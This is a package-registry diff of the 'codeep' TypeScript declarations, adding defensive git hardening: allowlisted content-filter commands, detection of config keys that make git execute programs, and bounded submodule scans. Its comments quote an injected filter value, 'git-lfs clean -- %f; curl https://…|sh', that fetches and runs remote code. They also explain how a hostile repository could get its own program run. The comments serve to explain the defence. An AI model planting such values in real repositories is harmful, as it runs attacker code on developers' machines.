codeep 3.4.0 → 3.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,10 +1,41 @@
1
- import { ActionLog } from './tools';
1
+ import type { ActionLog } from './tools';
2
2
  export interface GitStatus {
3
3
  isRepo: boolean;
4
4
  branch?: string;
5
5
  hasChanges?: boolean;
6
6
  ahead?: number;
7
7
  behind?: number;
8
+ /**
9
+ * Why there is no branch here — a GitHardeningError, or git itself failing.
10
+ * Declared because getGitStatus was already filling it through an
11
+ * `as GitStatus` cast that the compiler could not check: the field existed
12
+ * at runtime, nothing in the type said so, and the status line in
13
+ * renderer/main.ts reads `.branch` only — so a refusal showed up as the
14
+ * branch silently disappearing. Written for the user; show it where the
15
+ * branch would go.
16
+ *
17
+ * Every way git can fail lands here, including the ordinary ones. The
18
+ * commonest is a brand-new `git init` with no commit yet, where `git
19
+ * rev-parse --abbrev-ref HEAD` answers `fatal: ambiguous argument 'HEAD'`
20
+ * (git 2.54) — which is why nothing should put this in front of the user
21
+ * as an instruction. Use `refusal` for that.
22
+ */
23
+ error?: string;
24
+ /**
25
+ * Set ONLY when the hardening refused to run git here, and never for an
26
+ * ordinary git failure. The message names the config key and the
27
+ * `git config --unset` that clears it, so it is the one the TUI shows
28
+ * verbatim (see gitRefusalNotice in renderer/main.ts).
29
+ *
30
+ * This field shipped dead in the first cut of the hotfix: main.ts read
31
+ * `status.refusal`, `GitStatus` never declared it and getGitStatus never
32
+ * set it, so the warning it exists to raise never fired once and the only
33
+ * symptom of a refused repository was the branch quietly vanishing from
34
+ * the header — the exact symptom that notice was written to remove. When
35
+ * this is set, `error` carries the same text, so callers that only know
36
+ * about `error` still say something useful.
37
+ */
38
+ refusal?: string;
8
39
  }
9
40
  export interface GitDiffResult {
10
41
  success: boolean;
@@ -17,8 +48,201 @@ export interface GitCommitResult {
17
48
  error?: string;
18
49
  }
19
50
  /**
20
- * Check if current directory is a git repository
51
+ * Raised instead of handing git an environment that the config scan below
52
+ * could not finish building. Every caller in this file catches it and reports
53
+ * `error.message`, which is written for the user rather than for a log.
54
+ */
55
+ export declare class GitHardeningError extends Error {
56
+ constructor(message: string);
57
+ }
58
+ /**
59
+ * The exact `filter.<driver>.{clean,smudge,process}` command lines that the
60
+ * well-known content-filter integrations write into a repository's own
61
+ * config. A repo-scope filter whose value is one of these is left RUNNING;
62
+ * every other one refuses the call (see the filter rule below).
63
+ *
64
+ * These are whole-value comparisons against a frozen list of literals, never
65
+ * a prefix or a substring test, and that is the point rather than a detail.
66
+ * Git runs a filter command through a shell, so `git-lfs clean -- %f; curl
67
+ * https://…|sh` STARTS WITH an allowlisted line and would sail through a
68
+ * `startsWith` check while doing something else entirely; `%f` in the middle
69
+ * of a longer value is the same hole for a substring check. Whole-value
70
+ * equality against literals also means "contains no shell metacharacter" is a
71
+ * property of this list rather than something that has to be re-checked at
72
+ * runtime — and the suite asserts that property so a future entry cannot
73
+ * quietly break it.
74
+ *
75
+ * These are the values with the program named BARE. The same integrations
76
+ * also spell the program as an absolute path, which is the machine's and not
77
+ * a string this file can pin — see isSafeContentFilterCommand(), which takes
78
+ * the basename apart and compares it against this same list.
79
+ *
80
+ * A spelling that is NOT accepted in any form: `"<abs path to python>" -m
81
+ * nbstripout`, which newer nbstripout installers write. Its program is
82
+ * `python`, so there is nothing to recognise in it — the argument tail is
83
+ * what says what it will do, and pinning `-m nbstripout` would pin a
84
+ * mechanism for running any module at all. Those repositories get the
85
+ * refusal and its `--unset`, which is the fail-closed half of the policy
86
+ * working as intended rather than an oversight.
87
+ */
88
+ export declare const SAFE_CONTENT_FILTER_COMMANDS: ReadonlySet<string>;
89
+ /**
90
+ * Whether a repo-scope `filter.<driver>.{clean,smudge,process}` value is one
91
+ * of the well-known integrations — accepting the spelling that names the
92
+ * program by an ABSOLUTE PATH, which the frozen list above cannot hold.
93
+ *
94
+ * `/usr/local/bin/git-lfs filter-process` is what a `git lfs install` writes
95
+ * on a machine where git-lfs is not the one on PATH, and git-annex writes the
96
+ * same shape. Those are ordinary working repositories, and the whole-value
97
+ * list refused every git call in them — the fail-closed policy landing on the
98
+ * integrations it was written to keep running.
99
+ *
100
+ * What is compared is the program's BASENAME plus the argument tail EXACTLY
101
+ * as the literal spells it, so every property of the list survives the
102
+ * relaxation. `/usr/local/bin/git-lfs clean -- %f; curl …|sh` fails on its
103
+ * bytes before anything is compared; `… clean -- %f --extra` and `…
104
+ * FILTER-PROCESS` produce a tail that is not in the list; a leading command
105
+ * puts something other than an absolute path in the first word. There is no
106
+ * prefix matching anywhere in here, in either half.
107
+ *
108
+ * And the path has to name the program PATH ALREADY RESOLVES that basename
109
+ * to, which is the check that keeps this from being a way in. Without it the
110
+ * repository picks the program: it ships an executable called `git-lfs` — or
111
+ * `cat`, which is on the list with no arguments at all — points the filter at
112
+ * its own checkout, and git runs it. That is not a relaxation of the
113
+ * allowlist, it is the end of it. With it, an absolute path can only name the
114
+ * same file the bare spelling on the list would have run anyway, so the
115
+ * repository gains nothing by writing it out.
116
+ *
117
+ * `env` is the environment the REAL git call will run under, so the PATH
118
+ * asked here is the PATH the shell git spawns would search.
119
+ */
120
+ export declare function isSafeContentFilterCommand(value: string, env: NodeJS.ProcessEnv): boolean;
121
+ /**
122
+ * Whether `<key>=<value>` is a config key that makes git RUN a program.
123
+ *
124
+ * Exported for utils/shell.ts, which has to answer the same question about a
125
+ * `git -c <key>=<value>` an agent typed. Keeping one answer is the point:
126
+ * these are exactly the keys this file spends its length neutralising, and a
127
+ * second hand-written list in the command validator would drift away from
128
+ * this one the first time a rule is added here.
129
+ *
130
+ * Both halves matter. GIT_EXECUTING_CONFIG is the always-on set, so a `-c
131
+ * core.fsmonitor=<program>` would otherwise WIN — git reads its own `-c`
132
+ * after the GIT_CONFIG_* pairs (verified, git 2.54). REPO_EXECUTING_RULES is
133
+ * the scope-aware set, and `-c` is not a scope the scan can see at all.
21
134
  */
135
+ export declare function isExecutingConfigKey(key: string): boolean;
136
+ /**
137
+ * How many submodule configs one call will read, and how far the enumeration
138
+ * follows submodules of submodules.
139
+ *
140
+ * Both are bounds on a tree the REPOSITORY owns — a checkout can declare as
141
+ * many submodules, nested as deeply, as whoever prepared it liked. Past
142
+ * either one the call is REFUSED rather than partly scanned: "we looked at
143
+ * some of your submodules" is a fail-open dressed as a limit. Every other
144
+ * bound in this pass throws for the same reason, which is the half that used
145
+ * to be missing — the depth guard and the directory-read failure both used
146
+ * to `return`, so a tree nested one level too deep, or a `.git/modules` we
147
+ * had no permission to read, silently became "this repository has no
148
+ * submodules".
149
+ *
150
+ * The count was 512, and that was a wall rather than a backstop: a
151
+ * superproject past it was refused forever, with a message naming nothing
152
+ * the user could change. 2048 is an order of magnitude past the largest real
153
+ * superproject, so only a tree built to reach it does. It is not raised
154
+ * further because every config read is one more `-c include.path=` argument
155
+ * on one command line, and a Windows command line stops at 32KB; and the
156
+ * message now names the two things that get the user moving again.
157
+ */
158
+ export declare const MAX_SUBMODULE_CONFIGS = 2048;
159
+ export interface HardenedGitEnvOptions {
160
+ /**
161
+ * The repository the git call will run in — the same `cwd` the spawn gets.
162
+ * Its config is scanned so repo-supplied programs can be neutralised, so a
163
+ * caller that passes the wrong one gets the wrong repository's protection.
164
+ */
165
+ cwd?: string;
166
+ /**
167
+ * Disable the repository's hooks. Only for the commands Codeep runs BY
168
+ * ITSELF — status, diff, rev-parse, show, ls-files, log — where the user
169
+ * never asked for a hook to run. Commands the user triggered (`/commit`,
170
+ * `/git-commit`, the agent auto-commit, a branch switch) leave it false, so
171
+ * lint-staged, commit-signing hooks and Codeep's own review hook run
172
+ * exactly as they would in the user's terminal.
173
+ *
174
+ * What justifies leaving them on is the approval, not a claim that a hook
175
+ * cannot get onto disk. The user asked for this commit or this checkout, so
176
+ * the repository's hooks run for it exactly as they would if they had typed
177
+ * the command themselves — and that is the whole argument. The write gate
178
+ * in utils/toolExecution.ts raises a confirmation for a hook a MODEL writes
179
+ * with write_file; it does not, and does not claim to, cover a shell
180
+ * command the user approved, where `node setup.cjs`, `cp`, `tee` or a
181
+ * redirect writes the same file with nothing to prompt about (reproduced
182
+ * twice against git 2.54). See the comment above that gate, which says the
183
+ * same thing from the other side.
184
+ */
185
+ noHooks?: boolean;
186
+ /**
187
+ * The environment to harden, defaulting to this process's. A caller with
188
+ * its own overrides must pass them HERE rather than spreading them over the
189
+ * result: their `GIT_CONFIG_COUNT` would replace ours and silently drop
190
+ * every override above their count.
191
+ */
192
+ base?: NodeJS.ProcessEnv;
193
+ }
194
+ /**
195
+ * The environment for a git child process, with every command-executing config
196
+ * key neutralised. Pass it to EVERY git spawn — including the read-only ones:
197
+ * `git status` is the call that runs `core.fsmonitor` and a `filter.<d>.clean`.
198
+ *
199
+ * It costs one `git config --list` plus one `git ls-files` per call —
200
+ * measured 13.6ms here in a plain repository at its root, 19.7ms in one with
201
+ * a submodule, 28.3ms with fifty of them and 47.7ms in a 100k-file checkout
202
+ * with none (see listSubmoduleConfig for where each part goes, and for why
203
+ * the index is read even in a repository that declares no submodules) — so build
204
+ * it ONCE per function and hand the same object to every spawn inside. There is
205
+ * deliberately no cache across calls: the scan's whole job is to notice what
206
+ * the repository's config says RIGHT NOW, and a hostile `.git/config` written
207
+ * after a cache warmed would be the one it failed to neutralise. Nothing needs
208
+ * one either — the only repeated caller, the status-line branch in
209
+ * renderer/main.ts, already caches its own result and re-reads only when the
210
+ * project moved or an agent run finished.
211
+ *
212
+ * Environment variables are the USER's, not the repository's, so this removes
213
+ * exactly one and leaves the rest:
214
+ *
215
+ * - `GIT_CONFIG_PARAMETERS` is deleted. Git reads it AFTER the
216
+ * `GIT_CONFIG_COUNT` pairs and it wins, which silently disables this whole
217
+ * function (verified). Nothing sets it but git itself, for its own children.
218
+ * - `GIT_EXTERNAL_DIFF`, `GIT_SSH_COMMAND`, `GIT_ASKPASS`, `GIT_PROXY_COMMAND`
219
+ * name programs, but ones the user exported for their own git. Codeep's diff
220
+ * reads pass `--no-ext-diff`, which beats `GIT_EXTERNAL_DIFF` anyway.
221
+ * - `GIT_DIR`, `GIT_WORK_TREE`, `GIT_INDEX_FILE`, `GIT_COMMON_DIR` are kept
222
+ * because a hook exports them: the pre-commit hook Codeep installs runs
223
+ * `codeep review`, and `git diff --cached` there must read the hook's
224
+ * TEMPORARY index to see what is really being committed.
225
+ * - `GIT_CONFIG_GLOBAL` / `GIT_CONFIG_SYSTEM` / `GIT_ALTERNATE_OBJECT_DIRECTORIES`
226
+ * are kept: the scan above runs under this same environment, so it sees
227
+ * whatever they make git see.
228
+ *
229
+ * Anyone who can set environment variables on this process already owns it.
230
+ *
231
+ * THROWS `GitHardeningError` rather than return a half-built environment when
232
+ * the config scan cannot complete, or when the repository named a program no
233
+ * override can switch off. The scan used to swallow every error and fall back
234
+ * to the always-on pairs alone, so a repository that padded its `.git/config`
235
+ * past the read buffer turned the entire repo-scope layer off in silence and
236
+ * ran its `filter.<d>.clean` on the next `git status`. Every caller in this
237
+ * file catches it and degrades: the status line loses its branch, `/commit`,
238
+ * `@git` and the review path show `error.message`, which is written for the
239
+ * user. A NEW caller has to do the same, or the refusal reaches them as a
240
+ * crash — and a caller inside a promise executor that does not catch it never
241
+ * settles at all.
242
+ */
243
+ export declare function hardenedGitEnv(options?: HardenedGitEnvOptions): NodeJS.ProcessEnv;
244
+ /** A repository whose git Codeep is willing to run. Refusals answer `false`;
245
+ * callers that can show a reason use the functions below, which carry it. */
22
246
  export declare function isGitRepository(cwd?: string): boolean;
23
247
  /**
24
248
  * Get current git status
@@ -28,8 +252,25 @@ export declare function getGitStatus(cwd?: string): GitStatus;
28
252
  * Get git diff (staged or unstaged)
29
253
  */
30
254
  export declare function getGitDiff(staged?: boolean, cwd?: string): GitDiffResult;
255
+ export interface GitChangedFilesResult {
256
+ files: string[];
257
+ /**
258
+ * Why the list is empty because git would not run, rather than because
259
+ * nothing changed. The two read the same through getChangedFiles() below,
260
+ * and a caller that gates work on "are there changes?" — the review
261
+ * pipeline in utils/codeReview.ts does — would otherwise quietly review
262
+ * nothing in a repository whose config Codeep refuses to run git in.
263
+ */
264
+ error?: string;
265
+ }
266
+ /**
267
+ * Get list of changed files, with the reason when there are none.
268
+ */
269
+ export declare function getChangedFilesResult(cwd?: string): GitChangedFilesResult;
31
270
  /**
32
- * Get list of changed files
271
+ * Get list of changed files. Empty on any failure — see
272
+ * getChangedFilesResult() when the difference between "nothing changed" and
273
+ * "git was refused" matters.
33
274
  */
34
275
  export declare function getChangedFiles(cwd?: string): string[];
35
276
  /**
@@ -41,7 +282,24 @@ export declare function suggestCommitMessage(diff: string): string;
41
282
  */
42
283
  export declare function createCommit(message: string, cwd?: string): GitCommitResult;
43
284
  /**
44
- * Stage all changes
285
+ * Stage all changes, with the reason when it did not happen.
286
+ *
287
+ * The reason matters most in a repository with a REQUIRED content filter —
288
+ * git-crypt, git-lfs, any repo-local `filter.<d>.required = true`. The
289
+ * repo-scope layer empties that driver's `clean` command and deliberately
290
+ * leaves `required` alone, so git aborts with `fatal: <file>: clean filter
291
+ * '<d>' failed` and exit 128 rather than writing the unfiltered content. That
292
+ * is the intended outcome (see the filter rule above: the alternative was
293
+ * plaintext secrets in the object database), and it is only useful if the
294
+ * user gets to read it — `stdio: 'ignore'` here used to throw the sentence
295
+ * away and leave them with "Failed to stage changes".
296
+ */
297
+ export declare function stageAllResult(cwd?: string): {
298
+ success: boolean;
299
+ error?: string;
300
+ };
301
+ /**
302
+ * Stage all changes. See stageAllResult() when the reason matters.
45
303
  */
46
304
  export declare function stageAll(cwd?: string): boolean;
47
305
  /**